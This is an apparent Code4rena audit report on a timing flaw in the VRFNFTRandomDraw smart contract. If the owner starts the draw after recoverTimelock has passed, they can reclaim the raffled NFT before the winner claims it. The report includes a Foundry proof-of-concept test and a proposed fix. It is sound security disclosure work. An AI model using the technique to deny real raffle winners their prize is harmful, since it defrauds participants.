owner can withdraw the NFT at any time if they wait with starting the draw until after recoverTimelock

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L306

Vulnerability details

Description

When creating a random draw the owner specifices a recoverTimelock which is a last resort option to recover the raffled NFT if the draw fails.

There are some validations that this is between a week and a year in the future but there's no guarantee that the draw actually will start before the recoverTimeLock is possible.

Impact

A malicious owner could wait with starting the draw until after recoverTimeLock and thus affect the outcome of the draw by withdrawing the NFT before the winner can claim it.

This could affect trust in using this protocol for random draws as the winner is not guaranteed a chance to claim their NFT.

Eve holds a lottery of a fancy ArtGobbler for her two friends Alice and Bob. She mints two NFT lottery tickets for 10 eth each. Eve opens the random draw but waits with starting the draw until after recoverTimeLock has passed. Then when the result comes in and one of them wins Eve quickly calls lastResortTimelockOwnerClaimNFT to take back the NFT and keep the funds.

Proof of Concept

PoC test in VRFNFTRandomDraw.t.sol:

    function test_FullDrawingOwnerReclaimsNft() public {
        address winner = address(0x1337);
        vm.label(winner, "winner");

        vm.startPrank(winner);
        for (uint256 tokensCount = 0; tokensCount < 10; tokensCount++) {
            drawingNFT.mint();
        }
        vm.stopPrank();

        vm.startPrank(admin);
        targetNFT.mint();

        address consumerAddress = factory.makeNewDraw(
            IVRFNFTRandomDraw.Settings({
                token: address(targetNFT),
                tokenId: 0,
                drawingToken: address(drawingNFT),
                drawingTokenStartId: 0,
                drawingTokenEndId: 10,
                drawBufferTime: 1 hours,
                recoverTimelock: block.timestamp + 1 weeks,
                keyHash: bytes32(
                    0x79d3d8832d904592c0bf9818b621522c988bb8b0c05cdc3b15aea1b6e8db0c15
                ),
                subscriptionId: subscriptionId
            })
        );
        vm.label(consumerAddress, "drawing instance");

        mockCoordinator.addConsumer(subscriptionId, consumerAddress);
        mockCoordinator.fundSubscription(subscriptionId, 100 ether);

        VRFNFTRandomDraw drawing = VRFNFTRandomDraw(consumerAddress);
        targetNFT.setApprovalForAll(consumerAddress, true);

        // admin waits until after recoverTimeLock to start the drawing
        vm.warp(block.timestamp + 1 weeks);
        uint256 drawingId = drawing.startDraw();

        mockCoordinator.fulfillRandomWords(drawingId, consumerAddress);
        
        // admin can now stop if the wrong user won for example
        drawing.lastResortTimelockOwnerClaimNFT();
        vm.stopPrank();
        
        vm.prank(winner);
        vm.expectRevert();
        // no nft to win
        drawing.winnerClaimNFT();
        assertEq(targetNFT.balanceOf(winner), 0);
        assertEq(targetNFT.balanceOf(consumerAddress), 0); 
        assertEq(targetNFT.balanceOf(admin), 1); // admin has nft
    }

Tools Used

manual review, forge

Recommended Mitigation Steps

instead of providing an absolute timestamp in recoverTimeLock have it as a recoverTime which is set when the NFT is transferred to the contract (startDraw).

That way the user knows that the NFT will be available to claim for a certain time once the draw starts.

[c4-judge]

gzeon-c4 marked the issue as duplicate of #146

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 changed the severity to 3 (High Risk)